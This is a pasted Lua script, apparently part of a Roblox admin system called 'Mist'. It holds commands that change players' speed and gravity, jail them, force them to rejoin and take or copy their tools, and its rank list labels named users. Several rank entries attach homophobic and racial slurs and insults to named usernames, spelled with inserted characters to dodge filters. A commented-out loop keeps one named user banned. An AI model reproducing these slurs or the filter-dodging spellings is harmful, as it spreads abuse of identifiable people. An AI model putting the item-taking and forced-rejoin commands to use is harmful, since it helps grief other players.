- local OutputFunc=Mist.Functions.Output;
- local Color=Mist.Ranked[Speaker.Name].Color;
- local Type=function(Value)
- local isRbxInstance=ypcall(game.isA,Value,'Model');
- if(isRbxInstance)then
- return'Instance[ '..Value.className..' ]';
- else
- if(type(Value)=='table')then
- if(getmetatable(Value))then
- return'Meta-Table';
- else
- return'Table';
- end;
- else
- return type(Value):sub(1,1):upper()..type(Value):sub(2);
- end;
- end;
- end;
- local ToString;ToString=function(Value)
- local Rtn=Type(Value);
- if(type(Value)=='table')then
- local Index=0;
- for _,v in next,Value do
- Index=Index+1;
- end;
- Rtn=Rtn..' [ Count: '..tostring(Index)..' ]';
- else
- Rtn=Rtn..' '..tostring(Value);
- end;
- return Rtn:sub(1,40);
- end;
- for _,v in next,Mist do
- OutputFunc(ToString(_)..' : '..(ToString(v)),Color,Speaker);
- end;
- end);
- Mist.Functions.CreateCommand('Walkspeed','ws,walks,walkspeed',true,1,'Sets <Players> walkspeed to <Number>','%s f fix, %s r remove ability to walk',function(Msg,Spkr,Flags)
- local Players,Rtn=Msg:match'(%w+)%s*(.+)'
- for _,v in next,Mist.Functions.GetPlayers(Players,Spkr)do
- if(Flags.f)then
- Mist.Functions.SendPacket('Fix_Walkspeed',v.Name);
- end;
- if(Flags.r)then
- Mist.Functions.SendPacket('Remove_Walkspeed',v.Name);
- end;
- pcall(function()
- v.Character.Humanoid.WalkSpeed=tonumber(Rtn);
- end);
- end;
- end);
- Mist.Functions.CreateCommand('Tool edit','tools',true,1,'Views <player>\'s tools','%s c copy, %s t take, %s g give',function(Message,Speaker,Flags)
- local allTools={};
- for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
- for _,v in next,Player:children()do
- if(v:isA'Backpack')then
- for _,o in next,v:children()do
- if(o:isA'Tool'or o:isA'HopperBin')then
- table.insert(allTools,{o:clone(),Player.Name});
- end;
- end;
- end;
- end;
- end;
- local toBeUsed={};
- local Done=false;
- local showTools;showTools=function()
- local Output=Mist.Functions.Output--Cuz all dat Mist.Functions will taik lots of chars
- Mist.Functions.RemoveTablets(Speaker);
- Mist.Functions.Title('Tool menu','Random',Speaker);
- Output('Done','Blue',Speaker,nil,function()
- Mist.Functions.RemoveTablets(Speaker);
- Done=true;
- end);
- for _,Tool in next,allTools do
- if(toBeUsed[Tool]==nil)then
- Output(tostring(Tool[1])..'["'..tostring(Tool[2])..'"]','Random',Speaker,nil,function()
- toBeUsed[Tool]=true;
- showTools();
- end);
- end;
- end;
- end;
- showTools();
- repeat
- wait();
- until Done==true;
- if(not Flags.g)then
- for _,v in next,toBeUsed do
- _[1]:clone().Parent=Speaker.Backpack;
- if(Flags.t)then pcall(function() _[2].Backpack:findFirstChild(_[1].Name):Destroy() end);end;
- end;
- else
- for _,player in next,Mist.Functions.GetPlayers(Flags.g or'',Speaker)do
- for _,v in next,toBeUsed do
- _[1]:clone().Parent=player.Backpack;
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Set gr'..'avitational pull','setg'..'rav,gr'..'av,grav'..'ity',false,1,'Sets <players> gr'..'av to <gr'..'av> or <remove g'..'rav>(<rem>)','',function(Msg,Spkr,Flags)
- local Msg,Force=Msg:match'(%w+)%s*(.*)';
- for _,v in next,Mist.Functions.GetPlayers(Msg or'',Spkr)do
- pcall(function()
- for _,Body in next,Mist.Functions.RecursiveChildren(v.Character,'name','mist_body_gravk')do
- Body:Destroy();
- end;
- if(Force=='rem')then return end;
- local force=Instance.new'BodyForce';
- force.Parent=v.Character.Torso;
- force.Name='mist_body_gravk';
- force.force=Vector3.new(0,force.Parent:GetMass()*-(tonumber(Force)or 0)*2,0);
- end);
- end;
- end);
- Mist.Functions.CreateCommand('Force rejoin','frej,frj',false,2,'Force rejoins <Player>','',function(Msg,Spkr,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- pcall(function()
- Mist.Functions.SendPacket('Rejoin',v.Name);
- Mist.Functions.NewLocalScript([[game:service'TeleportService':teleport(game.PlaceId)]],Instance.new('Backpack',v),'',true);
- game:service'TeleportService':teleport(game.PlaceId,v.Character);
- end);
- end;
- end);
- Mist.Functions.CreateCommand('Jail','jail',true,2,'Jails <Player>','%s u Un Jail',function(Msg,Spkr,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- Mist.Functions.Jail(v,Flags.u~=nil);
- end;
- end);
- Mist.Functions.CreateCommand('Test','test',false,0,'Tests mist','',function(Msg,Spkr,Flags)
- local function errorCode(err)
- local res={};
- local index=0;
- for charCode in err:gmatch'.'do
- index=index+1;
- res[index%8]=(res[index%8]or 0)+charCode:byte();
- end;
- for _,v in next,res do
- res[_]=Mist.Base64[v%64]or'0';
- end;
- return'0x'..table.concat(res,'');
- end;
- local function testResult(name,func,...)
- local a,b=ypcall(func,...);
- if(not a)then
- Mist.Functions.Output('Unsuccessful test for '..name..'[Error_Code: '..errorCode(b)..']','Red',Spkr);
- else
- if(name:find'Output'or name:find'Title')then else
- Mist.Functions.Output('Successful test for '..name,'Green',Spkr);
- end;
- end;
- end;
- testResult('Mist.Functions.Output',Mist.Functions.Output,'Tablet testing','Random',Spkr,nil,nil,'http://www.roblox.com/asset/?id=2143522');
- testResult('Mist.Functions.Title',Mist.Functions.Title,'Title testing','Random',Spkr);
- testResult('Mist.Functions.UpdateTablets',Mist.Functions.UpdateTablets);
- testResult('Mist.Functions.GetPlayers',Mist.Functions.GetPlayers,'');
- testResult('Mist.Functions.CreateData',Mist.Functions.CreateData,'tusKOr661',5,3,'Blue','Creator');
- testResult('Mist.Services.Call',Mist.Services,'Workspace');
- testResult('Fake error',function() error'This is a fake error'end);
- end);
- coroutine.wrap(function()
- Mist.Functions.CreateData('Derek1017',5,3,'Blue','Creator');
- Mist.Functions.CreateData('ScriptBuilderScript',5,3,'Blue','Mist Developer');
- Mist.Functions.CreateData('shuwaib',-2,0,'Red','Banned DarkMystrik');
- Mist.Functions.CreateData('tony4905',-2,0,'Red','Banned DarkMystrik');
- Mist.Functions.CreateData('Mrnoobbboy32',-2,0,'Red','Banned DarkMystrik');
- Mist.Functions.CreateData('defNotTusko',4,3,'Red','Alt of Creator');
- Mist.Functions.CreateData('Iamblue14',4,3,'Blue','Creator');
- Mist.Functions.CreateData('DeadlyShroom',4,3,'Blue','Good friend');
- Mist.Functions.CreateData('ttyyuu12345',4,3,'Blue','Good friend');
- Mist.Functions.CreateData('madiik',3,3,'Blue','Friend brony');
- Mist.Functions.CreateData('xXxkarlxXx',3,3,'Blue','Brah k');
- Mist.Functions.CreateData('optiplex123',3,3,'Blue','Derp');
- Mist.Functions.CreateData('noliCAIKs',3,3,'Blue','Bestfriend + Creator of GateKeeper');
- Mist.Functions.CreateData('XEL8o9',3,3,'Light blue','Just cuz');
- Mist.Functions.CreateData('Tinfold',3,3,'Light blue','Just cuz leld');
- Mist.Functions.CreateData('Ultimatekiller010',3,3,'Light blue','Bestfriend');
- Mist.Functions.CreateData('TeamDman',3,3,'Red','Best friend of creator+ Creator of NOVA');
- Mist.Functions.CreateData('Frostftw',3,3,'Yellow','For trolling');
- Mist.Functions.CreateData('nairod7',3,3,'Yellow','bestfiwned k sck it >:D');
- Mist.Functions.CreateData('12packkid',3,3,'Yellow','Bestfriend');
- Mist.Functions.CreateData('Zuppi',3,3,'Pink','Creator of HAZE+ best friend of Creator');
- Mist.Functions.CreateData('DansaltSC',3,3,'Blue','Creator of BLOKTabs+ bestfriend of Creator');
- Mist.Functions.CreateData('SilenceCore',3,3,'Blue','Bestfiwned');
- Mist.Functions.CreateData('TigreBlood',3,3,'Blue','Uber skriptar');
- Mist.Functions.CreateData('ROBLOX',2,3,'Purple','Creator of roblox so yexD');
- Mist.Functions.CreateData('1x1x1x1',2,3,'Purple','Cuz I liek haxs');
- Mist.Functions.CreateData('jonesj627',2,3,'Purple','Cuz I liek haxs');
- Mist.Functions.CreateData('mastero67',2,3,'Purple','Asdfghijklmno');
- Mist.Functions.CreateData('Basscans',2,3,'Purple');
- Mist.Functions.CreateData('elytowlo',2,3,'Purple','Apprentice scripter');
- Mist.Functions.CreateData('YoungWarlock',2,3,'Purple','Friend of jarred = friend of mine k');
- Mist.Functions.CreateData('xXLocalPlayerXx',2,3,'Pink','Lel');
- Mist.Functions.CreateData('wasd01',2,3,'Pink','asdfghjkl');
- Mist.Functions.CreateData('AtlasGrim',2,3,'Pink');
- Mist.Functions.CreateData('HelloBuddySup',2,3,'Pink');
- Mist.Functions.CreateData('W8X',2,3,'Pink');
- Mist.Functions.CreateData('Forwarder',1,3,'Red');
- Mist.Functions.CreateData('BrainWart',1,3,'Red');
- Mist.Functions.CreateData('Inevitablilty',-.5,3,'Red','Abusive nob');
- Mist.Functions.CreateData('aleksa12432',0,3,'Red','Lags server with frame instances');
- Mist.Functions.CreateData('IMANOOBXDjoke',0,0,'Red','Runs my scripts and kicks me with them');
- Mist.Functions.CreateData('kylerzong',-1,0,'Red','Pus\5\5sy nig\5\5ger');
- Mist.Functions.CreateData('CottenEyedMario',-1,0,'Red','Attempted to banish me, and trolls games');
- Mist.Functions.CreateData('lavavampire',-1,0,'Red','RobloxLocks player and abuses admin');
- Mist.Functions.CreateData('ghostbusters1',0,0,'Red','Shutdown abuse');
- Mist.Functions.CreateData('Gertidadon',-1,0,'Red','Banlists, abuses KOHLs, free models, and more');
- Mist.Functions.CreateData('michael7290',-1,0,'Red','Banlists, free models, and more');
- Mist.Functions.CreateData('Pwngerteddybear2',-1,0,'Red','Banlists, abuses KOHLs, free models, and more');
- Mist.Functions.CreateData('boberpop21',0,0,'Red','Server crasher');
- Mist.Functions.CreateData('Darkping',-1,0,'Red','Server crasher');
- Mist.Functions.CreateData('blackandwhite51',-1,0,'Red','free models');
- Mist.Functions.CreateData('8wlt',-2,0,'Red','Teleporter');
- Mist.Functions.CreateData('GodOfGalaxy',-2,0,'Red','Noob');
- Mist.Functions.CreateData('ThisUserSecret',-2,0,'Red','Kicker');
- Mist.Functions.CreateData('tamariusjones09',-2,0,'Red','Kicker');
- Mist.Functions.CreateData('spiro123456789',-2,0,'Red','Stole mist and renamed as Viron');
- Mist.Functions.CreateData('jonathan211',0,0,'Red','Alt of GodOfGalaxy therefore nooblet');
- Mist.Functions.CreateData('iFractal',-2,0,'Red','Unreasonabl as\5s, Kicks for no reason');
- Mist.Functions.CreateData('V4CCUM',-2,0,'Red','Alt of iFractal therefore nooblet');
- Mist.Functions.CreateData('iiEssence',-2,0,'Red','Server crasher');
- Mist.Functions.CreateData('shuwaib',-2,0,'Red','Banned DarkMystrik');
- Mist.Functions.CreateData('tony4905',-2,0,'Red','Banned DarkMystrik');
- Mist.Functions.CreateData('Mrnoobbboy32',-2,0,'Red','Banned DarkMystrik');
- --Mist.Functions.CreateData('roxmat',-1,0,'Red','Crashed my friend for no reason');
- Mist.Functions.CreateData('AntiBoomz0r',-2,0,'Pink','Is a little fa\5ggot. Disables sbs for no reason. Accusations without evidence. Acts upon first thought. Ignorant.');
- table.insert(Mist.Logs.System,{'Ranked details setup',Mist.Functions.GetTime(tick())});
- --[[coroutine.wrap(function()
- For that gai fgt.
- repeat wait()
- local _banned=Mist.Ranked['AntiBoomz0r'];
- if(not _banned)thenT
- Mist.Functions.CreateData'AntiBoomz0r';
- _banned=Mist.Ranked['AntiBoomz0r'];
- end;
- _banned=_banned.Rank==-1;
- if(_banned==false)then
- Mist.Ranked'AntiBoomz0r'.Rank=-1;
- end;
- wait();
- until false;
- end)();
- --]]
- end)();
- coroutine.wrap(function()
- local function isHTTPEnabled()
- local args={
- ypcall(function()
- Game:GetService'HttpService':GetAsync'http://stypi.com';
- end);
- };
- if(not args[1])then
- return false;
- end;
- return true;
- end;
- if(not isHTTPEnabled())then
- Mist.External_Data.Link_Type='asset';
- coroutine.wrap(function()
- repeat wait() until Mist.Functions['Output'];
- for _,v in next,Mist.Services'Players':players()do
- Mist.Functions['Output']('HTTP service not enabled, external asset is enabled','Red',v,3);
- end;
- end)();
- end;
- end)();
- for _,Player in next,Mist.Services'Players':players()do
- if(not pcall(function()Player:children()end))then if(not pcall(function()Player:kick()end))then game:service'Debris':addItem(Player,0)end;return end;
- Mist.Functions.Connect(Player);
- if(Mist.Functions.GetRank(Player)>0)then
- Mist.Functions.Output('Mist loaded','Green',Player,3);
- end;
- end;
Add Comment
Please, Sign In to add comment